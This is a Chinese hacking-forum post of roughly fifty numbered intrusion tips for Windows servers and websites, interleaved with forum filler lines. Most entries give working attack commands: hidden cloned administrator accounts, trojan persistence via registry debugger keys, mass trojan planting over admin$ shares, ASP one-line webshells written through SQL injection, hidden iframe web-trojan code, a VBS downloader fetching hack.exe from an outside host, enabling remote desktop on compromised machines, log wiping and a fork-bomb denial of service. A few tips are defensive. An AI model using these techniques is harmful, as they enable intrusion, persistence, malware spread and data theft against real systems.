中国网络渗透测试联盟
标题:
入侵渗透笔记
[打印本页]
作者:
admin
时间:
2012-9-15 14:13
标题:
入侵渗透笔记
Xp系统修改权限防止病毒或木马等破坏系统,cmd下,
; z# b, ?- h. I. a9 _5 A
cacls C:\windows\system32 /G hqw20:R
/ U# \; u- n& K/ Y5 p+ r
思是给hqw20这个用户只能读取SYSTEM32目录,但不能进行修改或写入
+ c. y' t) P) r) U* U
恢复方法:C:\>cacls C:\windows\system32 /G hqw20:F
8 e1 ?7 m+ n+ w$ S4 O! r- X. d0 K: b
% x* i9 x; c5 Z) q; _0 y
2、用Microsoft自带的IExpress工具作的捆绑木马可以躲过很多杀毒软件,运行对话框中输入Iexpress。
: y+ g2 {0 D# a9 _
* @ x! q% O* b) `& k& p
3、内网使用灰鸽子,肉鸡上vidcs.exe -p端口,本地VIDCS里,VIDCS服务IP 填肉鸡的IP,VIDCS服务端口,就是给肉鸡开的端口,BINDIP添自己的内网IP,BIND端口 添8000,映射端口添8000。
l: @) |2 o, C) f m3 ?+ l3 g
" S# M2 r2 {7 d9 Y* b
4、建立隐藏帐号,上次总结了用guest建立隐藏的管理员,这次再介绍一种,在cmd下建立一个ating$的用户,然后注册表下复制管理员的1F4里的F 值到ating$的F值,再把ating$改为$,这样在计算机管理的用户里看不到这个隐藏帐号
) J' d( S- a3 B( m) s
$ n, L. B3 r3 c; R8 h8 h8 p6 m
5、利用INF文件来修改注册表
6 I% F; a1 F7 x% |. c1 b" o _- R
[Version]
) G: S8 ^* T6 |5 s5 x
Signature="$CHICAGO$"
5 t0 y: {1 y7 P2 z! V8 B
[Defaultinstall]
& c; _, {4 _. P: ]! |. c
addREG=Ating
: P' {6 I9 U6 F
[Ating]
1 M$ n0 D" s. f$ b# g' J
HKCU,"Software\Microsoft\Windows\CurrentVersion\Policies\system","disableregistrytools","0x00010001","1"
' c7 e9 D( q. L; U2 O/ K) {6 I
以上代码保存为inf格式,注意没有换行符,在命令行里导入inf的命令如下:
, S6 P- E3 _/ P8 }
rundll32.exe setupapi.dll,InstallHinfSection DefaultInstall 128 inf文件的具体路径
, |: B- }. C; x: C+ f5 [1 a
其中HKEY_CLASSES_ROOT 简写为 HKCR,HKEY_CURRENT_USER 简写为 HKCU
% ?" [% D) x+ R. i) w
HKEY_LOCAL_MACHINE 简写为 HKLM,HKEY_USERS 简写为 HKU
5 D7 L( I0 [9 _9 M; Z
HKEY_CURRENT_CONFIG 简写为 HKCC
! ~0 b' x @! x
0x00000000 代表的是 字符串值,0x00010001 代表的是 DWORD值
% o' v. q9 ^1 x6 z
"1"这里代表是写入或删除注册表键值中的具体数据
7 V0 x" U+ q$ {* a8 e2 o$ v% E
- r3 [ {4 D( u8 ]4 r! Y
6、关于制作穿xp2防火墙的radmin,大家一定要会,各大黑客网站都有动画,
2 }5 M) G( W3 N. j" T0 K
多了一步就是在防火墙里添加个端口,然后导出其键值
+ S% A# S% T5 J; c! S$ s' p; o6 ]) v
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List]
! H2 _8 m/ C- N9 g
W) E8 r n$ D5 h' w
7、系统启动时Alerter服务启动前启动木马程序ating.exe,此方法很隐蔽
J7 G A0 i; A/ U' f
在[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\CurrentVersion\Image File Execution Options]下建立service.exe项,再在service.exe项建立一个Debugger的键(字符串值),键值填ating.exe的全路径。
( I5 z8 B9 j) D2 Y @7 S. U, D1 B
1 D; d1 {+ m0 c9 X3 X/ Z
8、将ftp.exe传到服务器用来提权,可以先把它变成ating.gif格式的再用,迷惑管理员。
: b, M J9 E. R+ i) s/ v
) P! r2 L( n. [( C& c4 A% T
9、有时候在我们进入了网站后台,但是没有上传图片和备份等功能,得不到webshell,
8 B3 |4 ^9 w& w& b1 s0 R7 ~
可是不能白来一场,可以看看发表公告或新闻支不支持html和script,支持的话加个frame马或者其他的什么。
2 g- M2 i0 ~8 `+ k- @5 ~, N
) |; M- i$ ]+ W: o& W: J
10、用google帮我们找网站后台,搜索”filetype:asp site:
www.hack6.com
inurl:login”
% r) ]4 \! K+ j0 ^6 o
) z9 K9 f% P- G8 V) o
11、我们中了盗密码的木马后不要急于删除,一般这些木马都是把密码发到指定邮箱,我们可以用探嗅软件来找到邮箱的用户名和密码,比如安全焦点的xsniff,
2 n: E4 I/ a; e: L D
用法:xsniff –pass –hide –log pass.txt
. p! o2 M' X8 _: E& {* q
" e1 ?8 w9 _" I. o! z& A3 S
12、google搜索的艺术
) _* C+ G. f4 X9 u, O3 u- X% c6 V
搜索关键字:“未闭合的引号”或“ADODB.Field.error”或“Either BOF or EOF in True”
; N1 J1 A1 s' F7 E4 m
或“字符串的语法错误”可以找到很多sql注入漏洞。
) Q6 }0 b, f5 Z k5 E) G# |
: m* H4 ~2 ~9 X1 I7 ~
13、还可以搜一些木马的关键字,比如搜索“管理登陆 海洋顶端 inurl:asp”,搜到了说明此网站服务器的其中网站肯定有漏洞。
1 ]* x0 e+ q/ C: O1 M
6 U% @* j! Y+ m
14、cmd中输入 nc –vv –l –p 1987
1 W B* @/ M) L; {# X
做个bat文件内容为sqlhello 起始ip 1433 终止ip 1987 扫鸡吃
' O2 i8 U3 D& @/ \
7 w+ D: `1 l% z, S$ g, D; q
15、制作T++木马,先写个ating.hta文件,内容为
/ H' C+ i8 n8 y4 A+ _1 t% _$ ?/ R
<script language="VBScript">
/ o) B7 Y3 F( ?; N( P
set wshshell=createobject ("wscript.shell" )
6 s: ?, f& p K/ _1 T9 C
a=wshshell.run("你马的名称",1)
: C4 d( H) L# [6 i r8 i' f
window.close
8 a; u$ j1 M6 N# _" @6 d6 p2 c
</script>
! ^4 }, l3 v4 m- S* V2 l& C' M
再用mshta生成T++木马,命令为mshta ating.hta ating.t++,用网页木马生成器生成网页木马。
$ [% B& r9 w; W# y5 P8 x1 Y- p2 L
; b% D) Q5 F- A, h2 m0 U3 K
16、搜索栏里输入
i9 _2 o8 W4 g5 E" U! z
关键字%'and 1=1 and '%'='
$ j% B9 q D5 @( q0 @: h: \; F
关键字%'and 1=2 and '%'='
% w9 v- y) z( u) m" q4 M/ d
比较不同处 可以作为注入的特征字符
: w& \3 g0 i9 X' ?6 W* { T* z
- R7 \! f4 ~+ I5 U4 P! ?' R
17、挂马代码<html>
8 \7 W7 z- U- _: K3 }1 X6 U# d# r
<iframe src="马的地址" width="0" height="0" frameborder="0"></iframe>
! B/ D% W3 p* z# L0 {% [" L
</html>
6 d2 ]& K2 f( m5 ^# y
; x3 P! g9 \( [- m3 M1 ?
18、开启regedt32的SAM的管理员权限检查HKEY_LOCAL_MACHINE\SAM\SAM\和HKEY_LOCAL_MACHINE\SAM\SAM\下的管理员和guest的F键值,如果一样就是用被入侵过了,然后删了guest帐号,对方可以用guest帐号使用administraeors的权限,你也可以用这方法留住肉鸡, 这方法是简单克隆,
6 L2 |* v: T% `. u
net localgroup administrators还是可以看出Guest是管理员来。
" [" E7 @6 y2 g2 u! O1 _
* t2 l" I9 v0 u; h0 C- S, r. T
19、软件instsrv.exe 把.exe文件做成系统服务来启动 用来肉鸡挂QQ等
7 ~4 {* d5 z) X7 p- o) ?0 u, y) ]8 M
用法: 安装: instsrv.exe 服务名称 路径
V8 [7 }; l2 ]
卸载: instsrv.exe 服务名称 REMOVE
5 r4 E9 }9 P( E8 B# I1 V
- Y; ]# Y7 C$ B% V
: w6 g+ v2 [$ s5 R- t! [2 t
21、SQL注入时工具---Internet选项---高级里找到显示友好的错误信息勾去掉
6 e+ P( k0 n7 r1 ?9 `# x5 F
不能注入时要第一时间想到%5c暴库。
5 z$ t7 k& W( V3 g
+ a' k. p: ^0 R9 l g+ b
22、很多网站程序(比如华硕中文官方网站)上传图片时有可能在检测文件的时候是 从左朝又进行检测,也就是说,他会检测文件是不是有.jpg,那么我们要是把文件改成:ating.jpg.asp试试。。由于还是ASP结尾,所以木马不会变~
- R( M$ B$ _( ~; ?+ f
b- D/ B/ ]0 Y
23、缺少xp_cmdshell时
/ x: R, |( ~! i$ K- j4 O
尝试恢复EXEC sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'
4 S( P! h5 R3 @
假如恢复不成功,可以尝试直接加用户(针对开3389的)
8 I( e4 r' r/ e6 p7 @, q( ?: Y
declare @o int
$ b" S0 p: [# f* [
exec sp_oacreate 'wscript.shell',@o out
) P5 G M' C6 m- u( H E, ^
exec sp_oamethod @o,'run',NULL,'cmd.exe /c net user ating ating /add' 再提到管理员
* b( i& q4 p$ D+ b9 X: q% u8 _, }
) W9 n0 F- K7 R) H/ d3 w
24.批量种植木马.bat
9 R3 W: E# b# G: f- s0 H( d U
for /f %%i in (扫描地址.txt) do copy pc.exe %%i\admin$ 复制木马到扫描的计算机当中
- O ]: J1 |( n9 _$ g& y) F3 a
for /f %%i in (扫描地址.txt) do at %%i 09:50 pc.exe 在对方计算机上运行木马的时间
6 I$ I1 R" n+ D \' L/ i
扫描地址.txt里每个主机名一行 用\\开头
! p6 @# |2 ?, Z/ _/ E
- W! z" S: h$ _7 O, Y# W
25、在程序上传shell过程中,程序不允许包含<% %>标记符号的内容的文件上传,比如蓝屏最小 的asp木马<%execute request("l")%>,我们来把他的标签换一下: <script language=VBScript runat=server>execute request("l")</Script> 保存为.asp,程序照样执行。
) U6 ^) h- M9 ^+ C' ]! e
! S% ^5 I4 c! `3 k/ F8 F, C
26、IIS6 For Windows 2003 Enterprise Edition 如IIS发布目录文件夹包含.asp后辍名.
. ]9 A( U: V/ v
将.asp后辍改为.jpg或其它的如.htm,也可以运行asp,但要在.asp文件夹下.
( h9 M4 t1 x, Z$ N
.cer 等后缀的文件夹下都可以运行任何后缀的asp木马
; T8 q, Z& n1 Z( u
8 C( m) P# {5 Z
27、telnet一台交换机 然后在telnet控制主机 控制主机留下的是交换机的IP
* N3 z7 ]6 U: S* m! R0 X1 j- }6 v. P
然后用#clear logg和#clear line vty *删除日志
. B0 H5 F! w5 e6 Y8 C ^- Y
* u- R" q$ W: g' o o' F8 P
28、电脑坏了省去重新安装系统的方法
% q5 H' ~/ G* B; ^
纯dos下执行,
& h* ?+ [# W' H' f
xp:copy C:\WINDOWS\repair\*.* 到 c:\windows\system32\config
9 O2 A/ ^: C+ q" m1 ^( D
2k: copy C:\winnt\repair\*.* 到 c:\winnt\system32\config
9 J1 f1 {( U8 e. d1 a" w
7 g' n, \) t6 E( p
29、解决TCP/IP筛选 在注册表里有三处,分别是:
: {; F' A0 A. s( ^
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip
; D4 F$ F1 s- @' z7 W$ a6 w
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
3 d/ ~3 x& T4 Y3 {2 @- ]
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
+ j: w' e+ {$ E" f$ R
分别用
" `4 ~5 ]" O8 y7 Y0 a; D
regedit -e D:\a.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
/ B) L8 e% e, c: R5 w3 e
regedit -e D:\b.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
# w1 y2 Y% a/ E& ^: b: f: C
regedit -e D:\c.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
& P p5 k/ L8 }5 {
命令来导出注册表项
; u; U6 A: _# K
然后把三个文件里的EnableSecurityFilters"=dword:00000001,
8 O5 a; K7 T1 q5 \ R: X; O
改成EnableSecurityFilters"=dword:00000000 再将以上三个文件分别用
& D b! `) {& i
regedit -s D:\a.reg regedit -s D:\b.reg regedit -s D:\c.reg 导入注册表即可。
" c( l3 b( @9 |+ ^3 @1 H: w
) b( h: c8 ~' Q. G) _
30、使CHM木马无法在本地运行木马程序 将注册表"HKEY_CURRENT_U
7 t$ k( J9 ^4 X, i* n1 Z6 E
SER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0"下的1004项的值由原来十进制的0改为十六进制的3
& [( `* ?2 \) d( u. L
. w R2 c* J8 _- l# w0 Z; T6 A8 b3 B
31、全手工打造开3389工具
7 a @* k1 u/ `- |% l1 a
打开记事本,编辑内容如下:
" \* r' c7 H6 U3 D' G
echo [Components] > c:\sql
1 ]5 W2 F5 l& N- h: c1 ?) s
echo TSEnable = on >> c:\sql
& E4 ^- b0 r% O- D5 C
sysocmgr /i:c:\winnt\inf\sysoc.inf /u:c:\sql /q
( l% u- f0 b- g
编辑好后存为BAT文件,上传至肉鸡,执行
3 U/ N$ l) d' j
; X F5 W/ v( |3 e0 x! F7 v
32、挂马js代码document.write('<iframe height=0 width=0 src="木马地址.htm"></iframe>');保存到js页面里 可让所有页面挂马
+ ^: Y! b6 W. x6 H2 o0 U6 l6 J5 W
4 b4 P9 r- c( e2 U( @% K
33、让服务器重启
+ A% ~0 n4 o9 P+ C( n i3 M! D7 V
写个bat死循环:
" \6 V A' w& Y5 H! I: s
@echo off
6 V m+ }/ i% J
:loop1
0 J5 e! x0 P0 B. e* |: s
cls
" ~9 d, h: U* ^7 V5 A# y
start cmd.exe
- [' P# {5 A3 d& X/ o* n( H2 i( O
goto loop1
8 ~" E7 Y* b( b- m6 R, z! ?
保存成bat guset权限就可以运行 运行后很快服务器就会死机 管理员自然会去重启
7 W5 X& I, O/ L. k [# z8 U
) @! c+ u ~( @& L# j9 X
34、如果你登录肉鸡的3389时发现有cmd一闪而过,那你可要小心了,管理员写了个bat在监视你,
3 n* |3 ~8 }! e3 K& f$ Q5 `
@echo off
9 Z4 E7 ` d; i# |. R
date /t >c:/3389.txt
. s) s3 @2 Y6 m$ l, q% W) x
time /t >>c:/3389.txt
& u7 ?2 i) [/ }* f! S% U/ z8 y5 A
attrib +s +h c:/3389.bat
$ z5 l* ^7 @; g5 h% u. t4 v6 `8 L2 _
attrib +s +h c:/3389.txt
( l. W2 n( ?* J& l' ^" A5 Z
netstat -an |find "ESTABLISHED" |find ":3389" >>c:/3389.txt
L7 n: Q+ D- c
并保存为3389.bat
0 ~: e/ F: v( b1 |5 @# Z" t$ \
打开注册表找到:Userinit这个键值 在末尾加入3389.bat所在的位置,比如我放到C盘,就写:,c:/3389.bat,注意一定要加个逗号
2 }: i, o( R @$ M5 J
, E {! K, L( @) e7 Z' B7 h1 N9 h2 ~
35、有时候提不了权限的话,试试这个命令,在命令行里输入:
( F8 x; t0 `+ s! ]6 d3 ~" R
start
http://www.hack520.org/muma.htm
然后点执行。(muma.htm是你上传好的漏洞网页)
6 {! u# I* K9 d$ |# z0 Y# ]/ U* V! `
输入:netstat -an | find "28876" 看看是否成功绑定,如果有就telnet上去,就有了system权限,当然也可以nc连接,本地执行命令。
9 ~: |" b3 a7 E7 L& i
5 J: f- d( o% J
36、在cmd下用ftp上传马方法,我们可以用echo 写一个批处理文件
9 ]7 ^+ E/ \# H: L( ], m6 J
echo open 你的FTP空间地址 >c:\1.bat //输入你的FTP地址
2 t5 b( Q# z& n( e" G, V
echo 你的FTP账号 >>c:\1.bat //输入账号
0 z2 m% [/ C1 f
echo 你的FTP密码 >>c:\1.bat //输入密码
* w/ X7 z( R+ H2 ?
echo bin >>c:\1.bat //登入
6 `% z3 f$ G; ` l
echo get 你的木马名 c:\ ating.exe >>c:\1.bat //下载某文件到某地方并改名为什么
* h3 ~0 @7 M3 s; X
echo bye >>c:\1.bat //退出
3 d6 Q! H( R y+ s2 S$ e1 { D
然后执行ftp -s:c:\1.bat即可
k! r# J f: q7 _; x4 U
+ z6 t$ h9 G2 _+ O* F) d, {
37、修改注册表开3389两法
' f0 v1 z' }) w0 Q4 R
(1)win2000下开终端 首先用ECHO写一个3389.reg文件,然后导入到注册表
J4 K: i. V' v
echo Windows Registry Editor Version 5.00 >>3389.reg
+ d' n9 ~! ~3 f8 l/ ^0 I2 u# F. A/ \
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\netcache] >>3389.reg
) ]. K* T. }# Z! v4 @
echo "Enabled"="0" >>3389.reg
1 V: r. Q2 e$ z& n1 O, K
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
8 a" T4 _% C: h2 G7 {/ A
NT\CurrentVersion\Winlogon] >>3389.reg
8 j3 j$ N6 [9 t! p/ u: Q
echo "ShutdownWithoutLogon"="0" >>3389.reg
" ], S5 J0 t; ?6 s; s) S4 f3 t
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer]
3 W. J% h; f: @
>>3389.reg
* B: L1 |5 P& e: X: r/ f
echo "EnableAdminTSRemote"=dword:00000001 >>3389.reg
/ D8 S1 E$ [" }, f9 i* p+ `
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]
/ i0 h3 e9 b/ @' R& F% v
>>3389.reg
& t' h4 Y7 H( A3 s q2 ]7 ~
echo "TSEnabled"=dword:00000001 >>3389.reg
' t# c& D+ w( _! E# p* w# x; X& Y
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD] >>3389.reg
W9 B( ^& H- n; h: Y
echo "Start"=dword:00000002 >>3389.reg
' o4 I2 H9 L4 O9 t1 a
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService]
5 o. ~) N; r# R% b! U
>>3389.reg
" I' _% m2 s, q# N; s: U0 T
echo "Start"=dword:00000002 >>3389.reg
1 X% Z, }, W7 h- B9 P5 {
echo [HKEY_USERS\.DEFAULT\Keyboard Layout\Toggle] >>3389.reg
3 Y' c: ]* z$ [+ w4 E- Q% x2 ^
echo "Hotkey"="1" >>3389.reg
# G# {$ D- p ]
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal
5 Z- {0 A) r8 p6 R
Server\Wds\rdpwd\Tds\tcp] >>3389.reg
/ Z4 A; S. l$ I& R# B e5 G' ]
echo "PortNumber"=dword:00000D3D >>3389.reg
7 {) s, \2 W B7 W. E; K
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal
4 ~# L0 \" b& Z8 L
Server\WinStations\RDP-Tcp] >>3389.reg
' k4 }! ?* j# z( M% j
echo "PortNumber"=dword:00000D3D >>3389.reg
' j/ ?8 Y5 Y7 y3 ?
把这些ECHO代码到CMDSHELL下贴粘就可以生成3389.reg文件,接着regedit /s 3389.reg导入注册表。
1 l9 E- _ R- M5 Q2 k& w- G R
(如果要改变终端端口只须把上面的两个D3D都改一下就可以了)
8 A$ N- Q( m4 A5 K4 U0 a w) \
因为win 2k下开终端不能像XP一样可以立即生效,而是需重启机器后才生效
( ?: `3 l/ E) K$ W6 g7 Y
(2)winxp和win2003终端开启
& U5 p+ Y y, S$ Z( U% j2 b4 L
用以下ECHO代码写一个REG文件:
7 q& G) @4 W# \: G* ]
echo Windows Registry Editor Version 5.00>>3389.reg
2 @* ]" C2 c# ^9 S* b4 r
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal
. {' P3 }2 s' U
Server]>>3389.reg
4 @' E+ {; P, f6 e: R# w
echo "fDenyTSConnections"=dword:00000000>>3389.reg
' q4 b. U3 u, i9 d. O% J+ `
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal
. J& w# ] T; d. L
Server\Wds\rdpwd\Tds\tcp]>>3389.reg
" ^$ d& o' q* D/ U3 r
echo "PortNumber"=dword:00000d3d>>3389.reg
+ e; d8 t! A& ]: Y3 h) \
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal
, S, v8 r3 T2 s9 ~9 l6 h: K. d% n
Server\WinStations\RDP-Tcp]>>3389.reg
. s8 u& e+ {$ Z
echo "PortNumber"=dword:00000d3d>>3389.reg
" ` ~" g+ P/ j" W5 I
然后regedit /s 3389.reg del 3389.reg
- j( o. Y! c/ V) D
XP下不论开终端还是改终端端口都不需重启
* b. V9 e3 `+ s' O- n& X i7 p
, U% |3 M( U# x- H
38、找到SA密码为空的肉鸡一定要第一时间改SA密码,防止别人和我们抢肉吃
3 Z/ w2 W1 D' U9 g
用查询分析器运行 EXEC sp_password NULL, '你要改的密码', 'sa'
% T, w; K* j5 b8 y
' ] K; j6 \3 s% i, ^. {4 h
39、加强数据库安全 先要声明把mdb改成asp是不能防止下载的!
. z% f0 s, @2 H; w* a1 Y
(1)数据库文件名应复杂并要有特殊字符
2 U2 e. o5 j8 L+ {; m
(2)不要把数据库名称写在conn.asp里,要用ODBC数据源
9 V1 {6 K' L2 i/ d
将conn.asp文档中的
- T* d; Z+ E' n3 r+ T
DBPath = Server.MapPath("数据库.mdb")
7 I/ E0 L9 `0 h m4 c
conn.Open "driver={Microsoft Access Driver (*.mdb)};dbq=" & DBPath
% b! |# j3 E. n, B$ i
. R, z- X! T- p+ h7 r9 j& `
修改为:conn.open "ODBC数据源名称," 然后指定数据库文件的位置
8 C5 [" S. P( o# L. l: @
(3)不放在WEB目录里
% X& O5 M1 k! r2 Z! g
2 G" s+ F. d- ~- f0 ]4 ?6 u2 `
40、登陆终端后有两个东东很危险,query.exe和tsadmin.exe要Kill掉
- v }0 Z! Q! q6 m
可以写两个bat文件
" y3 v! j, x! O6 o, F
@echo off
6 @3 q% z! o' Z6 f$ Z4 O; ?4 ?0 D
@copy c:\winnt\system32\query.exe c:\winnt\system32\com\1\que.exe
% O3 `6 w0 ]3 ~1 i# b; M' o
@del c:\winnt\system32\query.exe
7 R3 u4 w; ?+ H4 N2 w4 F: n* O
@del %SYSTEMROOT%\system32\dllcache\query.exe
8 L/ L# E2 y5 w! e" J
@copy c:\winnt\system32\com\1\query.exe c:\winnt\system32\query.exe //复制一个假的
, r" w2 ^( U! Z8 Y2 ~2 a
4 i, q$ u& {: u
@echo off
# H9 K* l8 W1 w, t8 `. a
@copy c:\winnt\system32\tsadmin.exe c:\winnt\system32\com\1\tsadmin.exe
8 W8 [% D- _ ]/ }$ b, m
@del c:\winnt\system32\tsadmin.exe
x# O9 F, d0 T$ {9 h, W! n9 M$ \
@del %SYSTEMROOT%\system32\dllcache\tsadmin.ex
, L% ]4 L& k' q" A
* G) i" F" L% V' }, a' v2 d3 \
41、映射对方盘符
. T; J3 V8 [# I
telnet到他的机器上,
, P" O, q5 |! m4 \
net share 查看有没有默认共享 如果没有,那么就接着运行
9 D+ e8 u5 }4 p+ G2 I' H B
net share c$=c:
$ j7 t6 J! X, _8 f. ]
net share现在有c$
+ a5 }% {* o2 V6 B8 {3 z4 S
在自己的机器上运行
% G- d* l1 C% o Z4 i% q, c6 k
net use k: \\*.*.*.*\c$ 把目标共享映射到本地硬盘,盘符为K
% f J3 H2 Q- v7 R
8 d' X6 @( u, P. k9 [, ]$ j
42、一些很有用的老知识
: ?% O7 C5 x. e# D2 v- p8 x) K
type c:\boot.ini ( 查看系统版本 )
( y/ p+ }6 m6 X. K+ j& n- Q; ?
net start (查看已经启动的服务)
5 `1 M# r4 r* ], f2 ?7 D# |
query user ( 查看当前终端连接 )
* i2 I8 v8 T7 V& [ D5 Q$ U
net user ( 查看当前用户 )
8 ^8 ?$ D! L& e5 G+ I$ U
net user 用户 密码/add ( 建立账号 )
& u$ c; E) r Z, ^" I
net localgroup administrators 用户 /add (提升某用户为管理员)
# n, |, G: o7 m5 p" X U) N- b" k
ipconfig -all ( 查看IP什么的 )
5 O. u" }/ H+ Z# I: b; u
netstat -an ( 查看当前网络状态 )
8 ]. Y8 [9 S/ P. ]. f( c8 l8 G; u
findpass 计算机名 管理员名 winlogon的pid (拿到管理员密码)
& j. o1 P) f! t* c- i: A8 l4 Q$ |
克隆时Administrator对应1F4
% q! z2 o& F- A# P
guest对应1F5
/ _% j# o7 h2 N6 E6 ]/ Y& g9 F
tsinternetuser对应3E8
8 R. i6 w2 y. u* c$ b
( h- H* J7 N: E
43、如果对方没开3389,但是装了Remote Administrator Service
3 w* E; K1 }; E( P- s
用这个命令F:\ftp.exe "regedit -s F:\longyi.biz\RAdmin.reg" 连接
2 X2 B& f+ k0 ?0 o: c7 p( a! x
解释:用serv-u漏洞导入自己配制好的radmin的注册表信息
. Q1 T" J/ g+ W. {( H+ x
先备份对方的F:\ftp.exe "regedit -e F:\1.reg HKEY_LOCAL_MACHINE\SYSTEM\RAdmin"
+ g9 a- o: f4 J0 V! L& p% B
% J8 r5 c6 u" Y
44、用lcx做内网端口映射,先在肉鸡上监听 lcx -listen 52 8089 (端口自定)
3 ^8 V; } q1 Y
本地上运行映射,lcx -slave 鸡的ip 52 我内网的ip 80 (我的WEB是80端口)
; z, @( u. I+ @- `. d( U+ V+ ?3 U1 h
k6 J3 Z! K+ I4 o
45、在服务器写入vbs脚本下载指定文件(比如用nbsi利用注入漏洞写入)
) T0 t% t( j+ e5 v! S
echo Set x= CreateObject(^"Microsoft.XMLHTTP^"):x.Open
5 x$ e/ i! f+ n0 L
^"GET^",LCase(WScript.Arguments(0)),0:x.Send():Set s =
$ j$ f& U' f) ^7 r
CreateObject(^"ADODB.Stream^"):s.Mode = 3:s.Type =
/ K# @% y% N; l/ S& T& J
1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2 >ating.vbs
3 v5 W) R* j2 _/ ?! X
(这是完整的一句话,其中没有换行符)
& h0 M0 c7 q7 \* }+ F8 ]4 ]9 F0 _2 k: K
然后下载:
' h# V& T- g8 }7 _/ t7 D) c) o) T( X
cscript down.vbs
http://www.hack520.org/hack.exe
hack.exe
+ j0 q2 S. W3 K
, I3 R% [' o5 a+ x1 @
46、一句话木马成功依赖于两个条件:
4 H; c1 H3 z7 _; W7 P
1、服务端没有禁止adodb.Stream或FSO组件
! q5 ^) X" k% p9 O, W& n5 |
2、权限问题:如果当前的虚拟目录禁止user级或everyone写入的话也是不会成功的。
! L$ k! @8 F O; s7 u
0 }; T+ G- x; f3 [6 R. L
47、利用DB_OWNER权限进行手工备份一句话木马的代码:
2 [ b: f9 ` k3 U4 j
;alter database utsz set RECOVERY FULL--
% ^7 N4 q. l( M) ?; B
;create table cmd (a image)--
9 E. e$ S h" W q- i: _! H+ t
;backup log utsz to disk = 'D:\cmd' with init--
, J: U" A- V1 \! m! H0 V* h
;insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253EDA)--
* l& E$ T' n4 s' {* ]- W
;backup log utsz to disk = 'D:\utsz_web\utsz\hacker.asp'--
& o" W7 r% w X- k
注:0x3C25657865637574652872657175657374282261222929253EDA为一句话木马的16进制形式。
2 {7 ~( q7 W H; V9 R) ?, m
0 b; ~4 a% z$ F0 P; x. i) ?
48、tlntadmn是telnet服务的设置命令,可以对telnet服务的端口、认证方式等进行设置:
; @5 ?. V6 h( s0 D
: B# N8 n( e9 F5 l1 T
用法: tlntadmn [computer name] [common_options] start | stop | pause | continue | -s | -k | -m | config config_options
' ?# p0 C1 E8 {
所有会话用 'all'。
# i. q; \4 a% P5 Q. w
-s sessionid 列出会话的信息。
5 Y5 l# l; U7 E3 I7 k" q( h
-k sessionid 终止会话。
9 i6 n. W, t5 u5 A$ |+ ?
-m sessionid 发送消息到会话。
% V& Z. K9 D) o' p/ V8 ?( m7 M
* Y9 ~3 r8 a( }' T
config 配置 telnet 服务器参数。
. q( ]# Z( t% o& m, A" A \
1 q# o0 R6 Q1 G i1 b2 p. a* l
common_options 为:
' W. i4 g1 B+ m$ S; o7 |( D
-u user 指定要使用其凭据的用户
7 F2 r9 D# w/ ~6 L4 O- `
-p password 用户密码
# u7 \9 x: Y6 r
2 l0 [; d7 D" q9 C8 w. r$ h
config_options 为:
7 l3 k' c0 i4 t ^) x5 f
dom = domain 设定用户的默认域
7 g! B, y- |, U3 q1 o6 s! o
ctrlakeymap = yes|no 设定 ALT 键的映射
' {- a1 n8 n+ k/ D* H
timeout = hh:mm:ss 设定空闲会话超时值
4 ~0 ^# q( `0 w s. J2 w
timeoutactive = yes|no 启用空闲会话。
( B7 ?' a; {& \4 @% }( h
maxfail = attempts 设定断开前失败的登录企图数。
' J g. n, I8 c" O& u
maxconn = connections 设定最大连接数。
- v" l- Q5 N+ F9 R
port = number 设定 telnet 端口。
* L! U* d G0 x! }0 @
sec = [+/-]NTLM [+/-]passwd
1 A* o; w+ Q5 ?: e4 y! y
设定身份验证机构
/ ]( e' W7 F+ R5 I- x. Q( \: l0 o* K
fname = file 指定审计文件名。
3 f. F9 ^% s5 m9 D1 A' f4 u- V
fsize = size 指定审计文件的最大尺寸(MB)。
8 ?1 W8 F2 t: @2 Z+ O2 G
mode = console|stream 指定操作模式。
1 G% B( `3 V/ |4 h% _- ]
auditlocation = eventlog|file|both
2 u4 j! y9 `7 `. k0 C; W* R
指定记录地点
. g0 y! f" f5 [$ P+ W; u
audit = [+/-]user [+/-]fail [+/-]admin
5 h+ D, M9 P/ Q6 f
# b' H; f' k* O f, X0 A# R! [
49、例如:在IE上访问:
: W1 d6 y- [; R ?6 J
www.hack520.org/hack.txt
就会跳转到
http://www.hack520.org/
6 g; r8 [# h( H: ~+ X2 I
hack.txt里面的代码是:
; a( k# Q! _% Y) U
<body> <META HTTP-EQUIV="Refresh" CONTENT="5;URL=http://www.hack520.org/">
; o5 `2 |! R- a' D& k, x4 D G
把这个hack.txt发到你空间就可以了!
" G6 G! B% j w# b
这个可以利用来做网马哦!
) \' }; Z. v9 L! R# l/ J: ^5 s
( A+ o2 [' Y0 J/ l
50、autorun的病毒可以通过手动限制!
+ g! {' P9 t4 b
1,养成好习惯,插入U盘或移动硬盘,都要按住shift让其禁止自动运行!
' }/ ?5 J. @- Y5 g+ t' q& D- S5 w1 L
